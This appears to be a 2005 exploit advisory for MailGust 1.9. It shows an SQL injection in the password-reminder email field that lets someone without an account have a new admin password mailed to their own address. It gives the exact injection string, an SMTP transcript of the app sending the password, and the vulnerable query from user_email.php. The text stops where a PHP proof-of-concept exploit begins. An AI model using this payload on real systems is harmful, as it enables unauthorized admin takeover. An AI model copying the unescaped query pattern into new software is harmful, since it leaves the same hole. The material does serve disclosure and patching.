MailGust 1.9 SQL injection / board takeover vulnerability in email fiel
`MailGust 1.9 SQL injection / board takevor  
  
software:  
site: http://www.mailgust.org/  
description:  
Mailgust is three softwares in one:   
* Mailing list manager   
* Newsletter distribution tool   
* Message Board   
Mailgust is written in php and uses a mysql database.   
  
vulnerability:  
  
if magic quotes off -> SQL Injection  
without to have an account, a user can send himself a new admin password using  
password reminder, in email field type:  
  
[yuor_email],'or'a'='a'/*@hotmail.com  
  
give a look to what happen:  
  
220 [MAILSERVER] SMTP Service ready  
HELO [MAILGUST]  
250 [MAILSERVER].  
MAIL FROM:<[email protected]>  
250 MAIL FROM:<[email protected]> OK  
RCPT TO:<[your_email]>  
250 RCPT TO:>[your_email] OK  
RCPT TO:<'or'a'='a'/*@hotmail.com>  
250 RCPT TO:<'or'a'='a'/*@hotmail.com> OK  
DATA  
354 Start mail input; end with <CRLF>.<CRLF>  
Date: Sat, 24 Sep 2005 16:11:38 +0100  
Subject: New password  
To: [your_email],'or'a'='a'/*@hotmail.com  
From: [email protected]  
Your login name is: [admin_email]  
Your new password is: 4993587  
Click here:  
http://localhost/mailgust/index.php?method=activate_new_password&list=maillistuser&pwd=4993587&id=1756185114  
to activate the password, than try to log in!  
  
It is recommended that you change your password afterwards.  
.  
250 <4335105B00009AE2> Mail accepted  
QUIT  
221 [MAILSERVER] QUIT  
  
vulnerable query is in [path_to_mailgust]/gorum/user_email.php at line 363:  
...  
$query = "SELECT * FROM $applName"."_$userClassName ".  
"WHERE email='$this->email'";  
...  
  
it becomes:  
  
SELECT * FROM maillist_maillistuser WHERE email='[yuor_email],'or'a'='a'/*@hotmail.com'  
  
"or'a'='a'" is always true, so the query is always true,   
script doesn't fail, for mail function, theese are two valid email address,  
it will send the mail to [your_email] and to 'or'a'='a'/*@hotmail.com ;)  
  
activate the password, now you can login with [admin_email] as user and new password  
  
  
this is my proof of concept exploit:  
  
<?php
